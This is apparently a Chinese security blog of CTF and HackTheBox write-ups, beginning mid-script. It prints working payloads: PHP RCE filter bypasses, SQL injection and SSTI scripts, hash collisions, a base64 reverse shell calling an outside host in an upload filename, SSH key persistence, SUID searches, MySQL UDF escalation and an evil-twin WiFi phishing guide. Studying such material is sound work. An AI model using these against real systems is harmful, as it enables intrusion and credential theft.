if charset == {b"0", b"1"}:
attempts.append(QRCodeDoll)
else:
attempts.append(Base16Doll)
attempts.append(Base32Doll)
attempts.append(Base64Doll)
attempts.append(Base85Doll)
attempts.append(BitReverseDoll)
attempts.append(ByteReverseDoll)
attempts = [attempt for attempt in attempts if attempt not in accepted_dolls]
for attempt in attempts:
prefixed_print(f"trying {attempt.__name__}")
try:
result = attempt().decode(data)
except DollError as e:
prefixed_print(f"failed {attempt.__name__}: {e}")
continue
if len(result) < length_threshold:
prefixed_print(f"failed {attempt.__name__}: length not accepted")
continue
if re.search(result_regex, result, re.DOTALL):
prefixed_print(f"success {attempt.__name__}: {result}")
return result
prefixed_print("result not clear, recursive decode begin")
result = decode(result, round + 1, result_regex, (*accepted_dolls, attempt))
if result:
return result
prefixed_print("round failed")
return None
if len(sys.argv) != 3:
print(f"Usage: {sys.argv[0]} <host> <port>")
sys.exit(1)
_, host, port = sys.argv
s = p.remote(host, port)
s.recvuntil(b"name")
s.sendline(b"mix")
while True:
data = s.recvuntil(b"-----END MATRYOSHKA MESSAGE-----")
round_data = re.search(rb"Round (\d+)/(\d+)", data)
assert round_data
round = int(round_data.group(1))
total_rounds = int(round_data.group(2))
p.log.info(f"Round {round}/{total_rounds}")
data_chunk = re.search(
b"-----BEGIN MATRYOSHKA MESSAGE-----\n(.*)\n-----END MATRYOSHKA MESSAGE-----",
data,
re.DOTALL,
)
assert data_chunk
data = decode(decodebytes(data_chunk.group(1)))
assert data
s.sendline(data)
if round == total_rounds:
break
s.interactive()

CRYPTO

baby_rsa（🙂）

from Crypto.Util.number import long_to_bytes
from gmpy2 import invert, is_prime
from tqdm import tqdm

primes = []

for xy in tqdm(range(500)):
for mn in range(500):
prime = xy**(mn+1) - (xy+1)**mn
if prime.bit_length() > 2048: break
if is_prime(prime):
primes.append(prime)

c = 15808773921165746378224649554032774095198531782455904169552223303513940968292896814159288417499220739875833754573943607047855256739976161598599903932981169979509871591999964856806929597805904134099901826858367778386342376768508031554802249075072366710038889306268806744179086648684738023073458982906066972340414398928411147970593935244077925448732772473619783079328351522269170879807064111318871074291073581343039389561175391039766936376267875184581643335916049461784753341115227515163545709454746272514827000601853735356551495685229995637483506735448900656885365353434308639412035003119516693303377081576975540948311

for i in range(len(primes)):
for j in range(i, len(primes)):
pq = primes[i]*primes[j]
if len(bin(pq)[2:]) == 2048:
try:
d = invert(0x10001, (primes[i]-1)*(primes[j]-1))
dec = long_to_bytes(pow(c, d, pq))
if b"flag{" in dec:
print(dec)
except ValueError:
pass

已知((fac[0]+fac[1]+fac[2]) « 1) - 1的值，用其替代n。分解((fac[0]+fac[1]+fac[2]) « 1) - 1求其欧拉函数，进而求解出d和第二段。

[靶场笔记]第十五章

Sat, 09 Mar 2024 00:00:00 +0800

参数逃逸

在靶场笔记第三章里提到过下面这种方法来绕过一些带有函数限制的waf

但这种方法有点局限，就是flag文件名必须中规中矩，而且一点也不适用于实战

所以我们可以对这种方法进行一点拓展，让他能够实现rce而不仅仅只是简单的读flag

这里以一道题为例

<?php
## 放弃把，小伙子，你真的不会RCE,何必在此纠结呢？？？？？？？？？？？？
if(isset($_GET['code'])){
$code=$_GET['code'];
if (!preg_match('/sys|pas|read|file|ls|cat|tac|head|tail|more|less|php|base|echo|cp|\$|\*|\+|\^|scan|\.|local|current|chr|crypt|show_source|high|readgzfile|dirname|time|next|all|hex2bin|im|shell/i',$code)){
echo '看看你输入的参数！！！不叫样子！！';echo '<br>';
eval($code);
}
else{
die("你想干什么？？？？？？？？？");
}
}
else{
echo "居然都不输入参数，可恶!!!!!!!!!";
show_source(__FILE__);
}

首先题目并没有告诉你flag名字是什么，所以肯定是得rce。这里我们得用到一种类似靶场笔记第十三章中用到的方法

直接看payload

?1=passthru("ls");&code=eval(pos(pos(get_defined_vars())));

get_defined_vars函数可以接收来自其他任何自定义参数的传值，且不受题目中waf的影响

os.path.join

os.path.join(path, *paths) 函数用于将多个文件路径连接成一个组合的路径。第一个参数通常包含了基础路径，而之后的每个参数都被当做组件拼接到基础路径后

简单来说就是如果*paths参数所给的拼接路径是以/开头的，那么path所提供的路径就会被删除，将*paths提供的路径作为绝对路径进行访问

类似的python语言漏洞还有很多，可以参考这篇文章

_过滤

如果_在过滤清单里，可以用+代替

mysql特性

碰到一道奇怪的题，记录一下。先试了一下普通的sql注入，1’ or 1=1#，不行，看到wp在用'^0#，分号可以用于闭合，井号可以用于注释，^进行异或运算，等号就是判等，这里需要利用sql的一个点“mysql弱类型转换”，空异或0会查到所有非数字开头的记录

0e

在弱判断下，以0e开头的数字都为0。这点可以用来绕过相同md5值但是不同字符串的判断，这里给出几个实用的值

QLTHNDT
0e405967825401955372549139051580
QNKCDZO
0e830400451993494058024219903391
s878926199a
0e545993274517709034328855841020

数组绕过与string强转化

之前提过如果碰到类似下面这样的代码

是可以通过使a1与a2都为数组，从而绕过md5强判断的。但是如果完整代码变成了

此时如果array1和array2的传值是array1[]=1&array2=2，是没有办法绕过的。原因就是php的数组在进行string强制转换时，会将数组转换为NULL类型 null=null就成立了，没绕过去

所以我们需要一个，md5前不相等，而md5后全等的。这里记录几组不同加密方式的碰撞结果

md5：
array1=%4d%c9%68%ff%0e%e3%5c%20%95%72%d4%77%7b%72%15%87%d3%6f%a7%b2%1b%dc%56%b7%4a%3d%c0%78%3e%7b%95%18%af%bf%a2%00%a8%28%4b%f3%6e%8e%4b%55%b3%5f%42%75%93%d8%49%67%6d%a0%d1%55%5d%83%60%fb%5f%07%fe%a2
array2=%4d%c9%68%ff%0e%e3%5c%20%95%72%d4%77%7b%72%15%87%d3%6f%a7%b2%1b%dc%56%b7%4a%3d%c0%78%3e%7b%95%18%af%bf%a2%02%a8%28%4b%f3%6e%8e%4b%55%b3%5f%42%75%93%d8%49%67%6d%a0%d1%d5%5d%83%60%fb%5f%07%fe%a2
sha1：
array1=%25PDF-1.3%0A%25%E2%E3%CF%D3%0A%0A%0A1%200%20obj%0A%3C%3C/Width%202%200%20R/Height%203%200%20R/Type%204%200%20R/Subtype%205%200%20R/Filter%206%200%20R/ColorSpace%207%200%20R/Length%208%200%20R/BitsPerComponent%208%3E%3E%0Astream%0A%FF%D8%FF%FE%00%24SHA-1%20is%20dead%21%21%21%21%21%85/%EC%09%239u%9C9%B1%A1%C6%3CL%97%E1%FF%FE%01%7FF%DC%93%A6%B6%7E%01%3B%02%9A%AA%1D%B2V%0BE%CAg%D6%88%C7%F8K%8CLy%1F%E0%2B%3D%F6%14%F8m%B1i%09%01%C5kE%C1S%0A%FE%DF%B7%608%E9rr/%E7%ADr%8F%0EI%04%E0F%C20W%0F%E9%D4%13%98%AB%E1.%F5%BC%94%2B%E35B%A4%80-%98%B5%D7%0F%2A3.%C3%7F%AC5%14%E7M%DC%0F%2C%C1%A8t%CD%0Cx0Z%21Vda0%97%89%60k%D0%BF%3F%98%CD%A8%04F%29%A1
array2=%25PDF-1.3%0A%25%E2%E3%CF%D3%0A%0A%0A1%200%20obj%0A%3C%3C/Width%202%200%20R/Height%203%200%20R/Type%204%200%20R/Subtype%205%200%20R/Filter%206%200%20R/ColorSpace%207%200%20R/Length%208%200%20R/BitsPerComponent%208%3E%3E%0Astream%0A%FF%D8%FF%FE%00%24SHA-1%20is%20dead%21%21%21%21%21%85/%EC%09%239u%9C9%B1%A1%C6%3CL%97%E1%FF%FE%01sF%DC%91f%B6%7E%11%8F%02%9A%B6%21%B2V%0F%F9%CAg%CC%A8%C7%F8%5B%A8Ly%03%0C%2B%3D%E2%18%F8m%B3%A9%09%01%D5%DFE%C1O%26%FE%DF%B3%DC8%E9j%C2/%E7%BDr%8F%0EE%BC%E0F%D2%3CW%0F%EB%14%13%98%BBU.%F5%A0%A8%2B%E31%FE%A4%807%B8%B5%D7%1F%0E3.%DF%93%AC5%00%EBM%DC%0D%EC%C1%A8dy%0Cx%2Cv%21V%60%DD0%97%91%D0k%D0%AF%3F%98%CD%A4%BCF%29%B1

php的传值变量

不论用post还是get传入变量名的时候都将空格、+、点、[转换为下划线。

例如，当代码中写到$_GET['r_e_d']的时候，在url传值时可用使用/?r+e+d=来代替。就能够躲过_的过滤

同时，php的这两种常用传值还有另外一个特性，就是当[提前出现后，后面的点就不会再被转义了，such as：`CTF[SHOW.COM`等价于`CTF_SHOW.COM`。就能够用来绕过一些特殊场景

parse_url函数解析漏洞

看这里

反序列化与_construct方法

众所周知，这个方法是在创建对象的时候会被调用的。同时，写反序列化链子的时候不仅可用给变量赋值，而且还能给这个方法写东西（是不是很神奇，emm其实是我还没有彻底摸透反序化原理的原因，可能等后面彻底理解透了会返回来改这条记录）。这是一个例子

[技术杂谈]邪恶wifi

Wed, 06 Mar 2024 00:00:00 +0800

除了暴力破解wifi密码外，还有另一种方法获得wifi密码，让用户连接不上原本正确的wifi，迫使他连接到我创建的假wifi，从而进行中间人攻击

开始搭建

进入kali后线安装下面这些必要软件包

安装完后，先查看无线网卡状态

可以看到，wlan0支持2.4G频段，wlan1支持5G频段。

先来看一下我们的攻击思路

正常的网络环境下有这两台设备组成

此时使用解除认证攻击将受害者与真wifi之间的连接断开

使用与真wifi相同的名字再生成一个假wifi，受害者就能连上我们的假wifi。这里为了方便解释，将两个网卡分别使用两台电脑表示，实际操作只需在同一台设备进行即可。同时，用于生成假wifi的网频段也可使用5GHz，只是这里5GHz网卡需要用来进行对5GHz频段的真wifi进行解除认证攻击，而我也没有多出来的5GHz网卡，因此只能用2.4GHz网卡生成。有条件的可以用5GHz网卡，提高伪装度

接着我们使用这条命令清理一些可能干扰实验的进程

使用这条命令将wlan1改成监听模式

再次查看无线网卡状态，看到wlan1变为Monitor模式即可

接着使用这条命令扫描附近wifi，使用的网卡建议用wlan1，因为我们的攻击目标是5GHz

扫出结果后，假设我们以这个wifi为目标

接着使用下面这条指令，使用wlan0生成一个假wifi

-nD是不使用取消验证攻击，-dK是不使用业力攻击，-e指定生成假wifi的名称，-i指定生成网卡

回车后看到四个选项，分别对应四个不同的假wifi模板

固件升级页面
OAuth登陆页面
浏览器插件更新页面
网络管理器页面

这里以第一个为例，会给受害者一个类似路由器固件升级的页面进行，欺骗其输入密码。当然你也可以自定义页面，手动修改页面内容

生成成功后会看到出现了一个和真wifi名一样的假wifi

接下来我们要做的就是断开受害者与真wifi的连接，让受害者连上假wifi

打开一个新的窗口，刚刚我们已经扫出真wifi的MAC地址和信道值，使用下面这条命令将wlan1修改到与真wifi相同的信道

最后使用这个命令开始对连接到真wifi的设备进行断连

此时手机就会连接上我们生成的假wifi

连接后手机就会跳出一个这样的网页

这就是一个仿造的固件升级页面，引导受害者在下面的输入框输入wifi密码。只要你对这个页面的内容进行一些修改，其实也可以引导受害者去输入一些其他的内容，具体能钓到什么就看自己对页面的伪装了

一旦用户点击了确认，kali就能获取到用户输入的密码了

[靶场笔记]第十四章

Wed, 28 Feb 2024 00:00:00 +0800

JWT爆破

JWT和session其实有一点点相像，但JWT拥有session所没有的密钥签名验证。具体可以看这篇文章。简单来说就是必须要有对应的key才能对修改后的JWT进行重新加密

但是这种key是可以通过爆破得来的，一般会用这个工具

bind_oob_xxe

一种比较少见的攻击方式，拿一道题记录一下

数据包如下

很清楚可以看到一个外部请求的xml文件，

先回顾一下什么是xml、dtd、xxe

xml：一种标签语言，带有各种可人为定义功能和名字的标签。标签就类似C++中的函数

dtd：类似专门定义源xml文件中所声明函数的文件，类似python的库，但是以文件的形式单独存在

xxe：利用xml解释器允许外部引用其他文件或协议的功能制造任意文件读取、RCE等漏洞的攻击方法

而bind_oob_xxe和普通xxe又有所不同，下面这张图就很好的展示了bind_oob_xxe的攻击流程

简单来说就是：在攻击者vps中的dtd放置恶意指令，再由攻击者vps中的xml文件引用该dtd，让受害者主动访问攻击者vps即可。

而之所以这样“绕一圈”在dtd中写恶意指令而不是直接在xml中写的目的，就是为了规避受害者xml解释器对恶意指令的过滤。接下来就以这道题为例，先在vps创建一个xml文件

还有dtd文件

以及一个php文件。有一点要注意就是，攻击者vps必须带有php环境且能够正常运行，因为是受害者来请求攻击者的php

最后再用python简单起一个http服务就能拿到/etc/passwd文件

cookie传参

做ssti注入时如果碰到了这种黑名单

'
"
_
args -- 无法使用 request.args
os -- 无法导入os
不允许post -- 无法使用 request.value

可以考虑用request.cookies接受参数。有点类似php中的?a=$_GET[1]&1=shell

下面是一个例子（jinjia2）：

原版payload：{{self.__dict__._TemplateReference__context.lipsum.__globals__.__builtins__.open("/flag").read()}}
改版payload：
{{self[request.cookies.c][request.cookies.d][request.cookies.e][request.cookies.f][request.cookies.g].open(request.cookies.z).read()}}
cookie:c=__dict__;d=_TemplateReference__context;e=lipsum;f=__globals__;g=__builtins__;z=flag

一个有关php://filter的细节

重点在最后一项，也就是说，如果碰到下面这两段payload

php://filter/read=convert.base64-encode/resource=file.txt
php://filter/convert.base64-encode/resource=file.txt

如果都是应用在file_get_contents($file)，效果是一样的。不加write和read就是交由情况自动判断读或写

date函数

先看看参数

date函数有个功能，就是会自动将\进行转义，例如date($name)，将name值是\f\l\a\g时会自动被转义成flag

unicode代码

这是一段看似正常实际暗藏玄机的代码。看到注释后面的高亮想必就已经看出问题来了，毕竟高亮是不会骗人的。将这段代码复制到ide中会得到下面这个样的代码

会发现和在网页中看到的完全不一样。不过也不用担心，按照正常的GET参数名进行url编码后即可

[靶场笔记]第十三章

Sat, 17 Feb 2024 00:00:00 +0800

if判断

写国赛题的时候碰到的盲注方法（因为平时很少写盲注题所以记录一下，应该是一种很基本的盲注方法🤔️）

if(判断语句，真结果，假结果)

下面是一个示例exp

import requests
s=requests.session()
flag = ''
for i in range(1,50):
for j in '-{abcdefghijklmnopqrstuvwxyz0123456789}':
url="..."
sqls="if(ascii(substr((select(flag)from(flag)),{},1))=ascii('{}'),1,2)".format(i,j)
data={"id":sqls}
c = s.post(url,data=data,timeout=10)
if 'Hello' in c.text:
flag += j
print(flag)
break

base_convert()

这个函数可以在任意进制之间进行切换，例如

base_convert(37907361743,10,36)

就是把十进制转换为36进制，结果是_GET

{1}&1=system

先来回顾一下这种用法

$a='system';
$a('cat/flag');

此时很容易想到一种绕过方法

?c=($_GET[a])($_GET[b])&a=system&b=cat /flag

但有时候题目狗到连[]都要给你过滤，此时就可以用标题的方法了

?c=($_GET{a})($_GET{b})&a=system&b=cat /flag

RC4加密

这里记录一个RC4加密脚本

from urllib import parse
def s_init(key):
S = list(range(256))
j = 0
for i in range(256):
j = (j + S[i] + ord(key[i % len(key)])) % 256 # key的中括号里面一长串是为了循环填充K盒
S[i], S[j] = S[j], S[i]
return S
def rc4_encode(plain_text, key):
S = s_init(key)
temp_data = []
i, j = 0, 0
for s in plain_text:
i = (i + 1) % 256
j = (j + S[i]) % 256
S[i], S[j] = S[j], S[i]
k = S[(S[i] + S[j]) % 256]
temp_data.append(chr(ord(s) ^ k))
return ''.join(temp_data)
def rc4_decode(cipher_text, key):
S = s_init(key)
temp_data = []
i, j = 0, 0
for s in cipher_text:
i = (i + 1) % 256
j = (j + S[i]) % 256
S[i], S[j] = S[j], S[i]
k = S[(S[i] + S[j]) % 256]
temp_data.append(chr(ord(s) ^ k))
return ''.join(temp_data)
def rc4_encode_url(plain_text, key):
return parse.quote(rc4_encode(plain_text, key))
if __name__ == '__main__':
# keys = str(input("Enter the key: "))
keys = 'HereIsTreasure'
plain = input("Enter the plain text: ")
print("The encoded text is: " + rc4_encode_url(plain, keys))

local_file://

碰到了一个这样的过滤

[HTB]第一章

Thu, 15 Feb 2024 00:00:00 +0800

ssh公钥免密登录

在找到rce后为了达成免密码登录的效果，可以执行下面的代码使用ssh-keygen生成一个id_rsa、id_rsa.pub，并向目标机器写入id_rsa.pub，最后用所提供的账号密码登录就行

ls -al ~/;mkdir ~/.ssh;echo "ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQCxtAMshGdWeqB9WHylfTUUGksOhANWSAOHBQLDTVVjZIxx3yO7xBBrZcG03iImnJ7/Fa2jFNCtES5m+NUdQ8eChxtkMfzgGyTpcg7iEo9KvIT3zTND5mILQyxUffiyBhXI0WXiRX8Y29QnFq0+GA2N/6XBI56NnRsTASoZfqNQRnISftsfpQnnqX6/YJH7biPhAr4/ePJx7zPJTDitEX8zeH87jb1zaZ1bTVXQbmpZ37qF1NQ+/MebS74t4anEsevYW3qJObZyJsvIX+aILSptA9HMFintYgeg0wiII4hdBSEH7mvB9KHfQ1dtMfpBNL6rUJ2BRhjB3Nq84oh3p5IDWjVkZGQ2PH33e2HogF0KEDMWXhvFOa1ZlxOHkL8nlIG3XB8A8yfFe5doLrv38EhZzsLKxQurRjdG6NwzZXjeQSGV0tFey8uEEgc3FwglfThBmZRNaUOYvYmprFBzmVqO1nHMaOPq2UUd/5KwaIdrgIGeWR7ilTkIwwisAmvrokOCC4lErtA7WO0bECHc8ZiAGlIS+X9XiXJm47FiUlcalXCQYPC3Mnt6aFBq+KhfYbmcn+ZA6X0H28VTDrxQqZVUjku4t06DwCMY+oHeRo9305e9Dkx+tkXTYYeTAbL5G1UoedZ7co9MgXNKix2rjB0LoYZp/pEIxJwjAavAPfxwpQ==" > ~/.ssh/authorized_keys

文件查找

当在进行提权且sudo无法使用时，可以使用下面这句文件查找进行相关可读文件的查询。(有时mail文件夹下会有好东西）

find / -type f -user admin -readable 2>/dev/null

搜索高权限指令（提权）

find / -perm -u=s -type f 2>/dev/null

FUZZ域名

积累一个用法和一个字典集——seclists，很全，同时可以用来fuzz域名什么的，下面是例子

wfuzz -c -w /usr/share/seclists/Discovery/DNS/xxxx.txt -u “http://….” -H “Host: FUZZ.xxxx.com” -hl 7

一个很骚的软链接与文件上传结合用法

如果你碰到了一个文件上传入口，但是要求你只能上传一个压缩包，且压缩包里只能有一个pdf文件，你会怎么做？

这个很骚的做法就是将pdf当作你想要读取的文件的软连接，命令如下

ln -s /etc/passwd test.pdf #软链接
zip --symlinks test.zip test.pdf #--symlinks参数是仅封装软链接文件而非源文件

2024新年红包题

Sun, 11 Feb 2024 00:00:00 +0800

将饺替换成0，子替换成1，二进制转换字符串得到

下载附件，审计源码

题目开了imagick扩展

再审计源代码，一共有三个功能点：

反序列化
删除/tmp目录下的所有内容（这算是题目的提示了）
高亮当前文件

再看题目给的后门类：

其实这里sink点有两个，一个是readfile读取文件，另一个是new $a($b)格式的代码
对于new $a($b)格式的代码，如果题目出网并且web目录可写的话，是可以直接RCE的，但是本题既不出网，web目录又不可写
因此题目的sink点就在readfile了，那么如何触发__sleep()魔术方法呢，__sleep魔术方法会在序列化的时候被调用

所以整个攻击流程如下：

首先把/tmp目录清空：

GET /?cmd=rm HTTP/1.1
Host: 1.1.1.1:49338

再制作一个PPM图片，选择PPM的原因是PPM末尾允许添加一些脏数据，并且该脏数据也不会被imagick抹去

session的内容生成方式如下：

这里我们设置path属性为/tmp/res路径，这个路径就是/flag复制之后的路径
重点看16行，这里的脏数据的数量其实是有一定要求的，在第12行设置了PPM图片的长和宽，即9*9像素，这里的脏数据+序列化数据的数量需要大于等于3*9*9且小于等于4*9*9（这里3和4可以简单理解为每个像素所占用的字节），具体原理不深究了，这里就当做记个结论（如果有其他想法，可以随时私信讨论）

<?php
class fumo_backdoor {
public $path = null;
public $argv = null;
public $func = null;
public $class = null;
}
$a = new fumo_backdoor();
$a->path = "/tmp/res"; // 复制后的flag路径
$ppmhead = "P6
9 9
255
" ;
$sdata = "|" . serialize($a);
$ppm = $ppmhead . str_repeat("\x00", 3 * 9 * 9 - strlen($sdata)) . $sdata;
// print($ppm);
print(base64_encode($ppm));
//UDYKOSA5CjI1NQoAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAfE86MTM6ImZ1bW9fYmFja2Rvb3IiOjQ6e3M6NDoicGF0aCI7czo4OiIvdG1wL3JlcyI7czo0OiJhcmd2IjtOO3M6NDoiZnVuYyI7TjtzOjU6ImNsYXNzIjtOO30=

有关PPM格式示例文件规范如下（From ChatGPT）：

[靶场笔记]第十二章

Tue, 06 Feb 2024 00:00:00 +0800

switch绕过

switch在case判断条件时会将原先是字符串的内容剔除并转换成与判断语句相同的类型

因此，在下面这段代码中

会输出

但是，如果使用弱比较对其进行过滤，例如

if($a=='2')

这个条件是不会成立的，因为'2+0’不等于'2'

短标签绕过

如果php等关键字被过滤，可以尝试使用短标签，例如

<?= ...... ?>
<% ..... %>
<? ..... ?> #开启配置参数asp_tags=on，并且只能在7.0以下版本使用
<script language="php"> .... </script> #不需要修改参数开关，但是只能在7.0以下可用

[]绕过

如果[]不行，可以用{}代替

.user.ini

是php的一个全局配置文件，对整个web服务（nginx）起作用。可以用在文件上传漏洞

auto_prepend_file = <filename> //包含在文件头
auto_append_file = <filename> //包含在文件尾

假设上传了一个图片，如果在与这一文件同级目录下存在php文件，把上面的改成图片文件名，就会把图片包含进php文件里，例如

auto_prepend_file = 1.jpg

hash_hmac函数

[羊城杯 2020]Blackcat

hash_hmac() 使用 HMAC 方法生成带有密钥的哈希值

参数	必需的	描述
algo	是	要使用的哈希算法名称，例如：“md5”，“sha256”，“haval160,4” 等。如何获取受支持的算法清单，请参见 hash_hmac_algos() 函数。
data	是	要进行哈希运算的消息。
key	是	使用 HMAC 生成信息摘要时所使用的密钥。
raw_output	否	设置为 TRUE 输出原始二进制数据，设置为 FALSE 输出小写 16 进制字符串。

这个函数有一个特性，如果data传入的值为数组，那么就会返回NULL

2024寒假训练赛4——Writeup

Fri, 02 Feb 2024 00:00:00 +0800

WEB

web签到

直接上payload

/?c=cat /flag%0a

虽然过滤掉了很多东西，但%0a是换行，可以将过滤的指令换到下一行，就不会影响上一行执行

prprp…py？

打开题目显示没有session

可以利用SESSION_UPLOAD_PROGRESS创建一个session：

下方的proxies为BurpSuite的代理地址

import requests
url = "http://1.1.1.1:49343/"
data = {
"PHP_SESSION_UPLOAD_PROGRESS":"a"
}
file = {
"file": ("a","a")
}
cookies = {
"PHPSESSID": "a"
}
proxies = {
"http": "127.0.0.1:8080"
}
req = requests.post(url, data=data, files=file, cookies=cookies, proxies=proxies)
print(req.text)

发包过去就能拿到源码了

获取到的源码如下，这里稍作分析：

$_POST['data']可控，并且会对其反序列化后覆盖变量，所以我们可以任意构造后续的变量，注意在传参的时候需要序列化数据
核心看三个if分支，第一个if分支会对properties变量反序列化，并且调用sctf方法，由于代码里不存在类有sctf方法，因此第一反应应该是构造SoapClient原生类打SSRF
第二个else if分支的用途就比较明显了，可以利用原生类读取任意文件
第三个else语句会去请求内部5000端口的服务并返回结果，一般5000端口是Flask服务，不过这里file_get_contents只能发送GET请求，如果要打Flask的/console的Debug服务需要带Cookie

<?php
error_reporting(0);
if(!isset($_SESSION)){
die('Session not started');
}
highlight_file(__FILE__);
$type = $_SESSION['type'];
$properties = $_SESSION['properties'];
echo urlencode($_POST['data']);
extract(unserialize($_POST['data']));
if(is_string($properties)&&unserialize(urldecode($properties))){
$object = unserialize(urldecode($properties));
$object -> sctf();
exit();
} else if(is_array($properties)){
$object = new $type($properties[0],$properties[1]);
} else {
$object = file_get_contents('http://127.0.0.1:5000/'.$properties);
}
echo "this is the object: $object <br>";
?>

这里的解题思路如下：

2024长城杯校内选拔赛——Writeup

Thu, 01 Feb 2024 00:00:00 +0800

WEB

在线解压(2023国赛华北赛区)

下载源码，审计POST路由，其中savepath可控且无过滤，直接闭合命令执行即可

命令注入点在上传的文件名，由于文件名不能包含/等特殊字符，所以需要把反弹shell的命令base64编码一下：

a||`echo L2Jpbi9iYXNoIC1pID4mIC9kZXYvdGNwLzEuMS4xLjEvMzk5OTkgMD4mMQ==|base64 -d|bash -i`#

完整请求包如下：

POST / HTTP/1.1
Host: 1.1.1.1:12345
Content-Length: 277
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryLtw6UwBXBsZ5zrtu
------WebKitFormBoundaryLtw6UwBXBsZ5zrtu
Content-Disposition: form-data; name="file"; filename="a||`echo L2Jpbi9iYXNoIC1pID4mIC9kZXYvdGNwLzEuMS4xLjEvMzk5OTkgMD4mMQ==|base64 -d|bash -i`#"
Content-Type: image/jpeg
asdasd
------WebKitFormBoundaryLtw6UwBXBsZ5zrtu--

附：上传文件请求包

<!DOCTYPE html>
<html>
<head>
<meta charset="utf-8">
<title>POST传输数据包</title>
</head>
<body>
<form action="http://1.1.1.1:12345/" method="post" enctype="multipart/form-data">
<label for="file">文件名：</label>
<input type="file" name="file" id="file"><br>
<input type="submit" name="submit" value="提交">
</form>
</body>
</html>

卫继龚的博客——1（2023WMCTF）

下载题目附件，分析app.js

32-135行的路由，用nodejs实现了werkzeug的console，类似于Flask里面的调试模式的console，不过这里需要鉴权才能进入console

在edit这个路由里，获取传入的id，并做查询， !/\d+/igm.test(id)用于检查id是否包含一个或多个数字，所以还是可以注入的，只需要包含数字且不包含into、outfile、dumpfile即可

再看getPostById方法，这里直接对传入的id做拼接（在post.js）

直接传/post/1'/edit发现就可以注入

前面提到的鉴权，它的pin在程序启动的时候就被打印出来了

[2024西湖论剑]only_sql

Tue, 30 Jan 2024 00:00:00 +0800

拿到题目后打开发现是一个mysql连接面板，初步猜测是在自己的远程数据库里写木马再写到靶机上

用vps开一个数据库，给root后连接，发现确实可以执行sql指令

但是没法写东西到靶机里（into outfile），搜索后发现是要开一个secure_file_priv的参数

并且我发现了这篇博客

可以用load data local infile语句在不受这个参数影响的情况下将文件内容读出来并写到我的远程数据库里。当然还可以使用搭建蜜罐的方式直接读文件，我后来选择使用后者

经过测试，蜜罐搭建后用面板连接，确实可以读取到文件

将query.php读出来就可以看到靶机运行的mysql的账号密码和库名，回到一开始的面板登录即可。登陆后，试了一圈也没发现flag文件，所以猜测是在环境变量。但是没找到读环境变量的方法，只能想办法rce

由于实在找不到什么除了sql外的rce手段，所以最后选择直接用udf提权

UDF（user defined function）用户自定义函数,是MySQL的一个扩展接口，称为用户自定义函数,是用来拓展MySQL的技术手段，用户通过自定义函数来实现在MySQL中无法实现的功能。文件后缀为.dll或.so,常用c语言编写。

先确定secure_file_priv是空值

show variables like '%secure%';

之后确定一下mysql安装路径

show variables like '%basedir%';

通过主机版本及架构确认mysql位数来选用udf文件

show variables like '%compile%';

查看 plugin 目录

show variables like 'plugin%';

还要再看一下有没有满足高位权限

select * from mysql.user where user = substring_index(user(), '@', 1) ;

最后看一下plugin的值

select host,user,plugin from mysql.user where user = substring_index(user(),'@',1);

plugin值表示mysql用户的认证方式。当 plugin 的值为空时不可提权，为 mysql_native_password 时可通过账户连接提权。默认为mysql_native_password。另外，mysql用户还需对此plugin目录具有写权限。

上述条件满足且信息搜集完后，这里我选择用msf里自带的udf库文件，路径是/usr/share/metasploit-framework/data/exploits/mysql

2024寒假训练赛3——Writeup

Sat, 27 Jan 2024 00:00:00 +0800

WEB

TODO

题目给了两个端口，也就是起了两个web服务，一个是一个TODO应用，一个是。。。额。html测试器

应用一

应用二

作者直接给出了源码，页面里看不出啥，我们直接来看源码

在util/report.js发现了可疑的地方。

const LOGIN_URL = "http://127.0.0.1/login";
let browser = null
const visit = async (url) => {
const ctx = await browser.createIncognitoBrowserContext()
const page = await ctx.newPage()
await page.goto(LOGIN_URL, { waitUntil: 'networkidle2' })
await page.waitForSelector('form')
await page.type('wired-input[name=username]', process.env.USERNAME)
await page.type('wired-input[name=password]', process.env.PASSWORD)
await page.click('wired-button')
try {
await page.goto(url, { waitUntil: 'networkidle2' })
} finally {
await page.close()
await ctx.close()
}
}
const doReportHandler = async (req, res) => {
...
await visit(url)
...
}

在routes/index.js里可以看到router.post('/report', doReportHandler);

2024寒假训练赛2——Writeup

Thu, 25 Jan 2024 00:00:00 +0800

WEB

窥视

一个简单的论坛系统

核心的api有

登录 POST /auth/login
注册 POST /auth/register
创建/回复帖子 POST /forum/post

审了一圈代码，唯一可操作的地方应该就是创建帖子(POST /forum/post)那一块了，这里有个文件图片上传

ValidationMiddleware("post", "/forum"),
async function (req, res) {
const { title, message, parentId, ...convertParams } = req.body;
...
let attachedImage = null;
if (req.files && req.files.image) {
const fileName = randomBytes(16).toString("hex");
const filePath = path.join(__dirname, "..", "uploads", fileName);
try {
const processedImage = await convert({
...convertParams,
srcData: req.files.image.data,
format: "AVIF",
});
await fs.writeFile(filePath, processedImage);
attachedImage = `/uploads/${fileName}`;
} catch (error) {
req.flashError("There was an issue processing your image, please try again.");
console.error("Error occured while processing image:", error);
return res.redirect("/forum");
}
}
...
}

随便进到一篇文章里po一张图片上去，结合POST表单和代码可以看出来，除了title, message, parentId三个参数外，其他参数都被写到convertParams里了，
const processedImage = await convert负责用convertParams里的参数对图片进行一个转换。

2024寒假训练赛1——Writeup

Wed, 24 Jan 2024 00:00:00 +0800

WEB

LoveTok

拿到附件后先看文件结构

还是比较简单的，老规矩，先从index入口开始

注意到这个对象，是个路由，路由方法在上面的函数。文件结构里找一下发现了同名的文件，进去看看

发现接收format参数后拿他去new了一个对象，同样跟进一下这个TimeModel文件

先看构造函数，可以看到会被addslashes过滤一遍。这里简单说一下这个函数的处理方法，如果被处理数据是输入到数据库中的，就会在例如单双引号、斜杠前面加上反斜杠进行转义。算是一种安全处理方式。不管要注意的就是，他只在数据输入进数据库时有效。

接下来就是一些显示的处理。看到下面的getTime方法，有个eval，应该就是利用这个家伙了

可以看到format有被放到eval中，但是不管输入什么都会被当成文本。怎么办呢？看提示

又是一个直接给payload的题了属于是

霓虹灯

一样，先看文件结构

发现不是常规语言，而是ruby

没事，同样先找index入口。

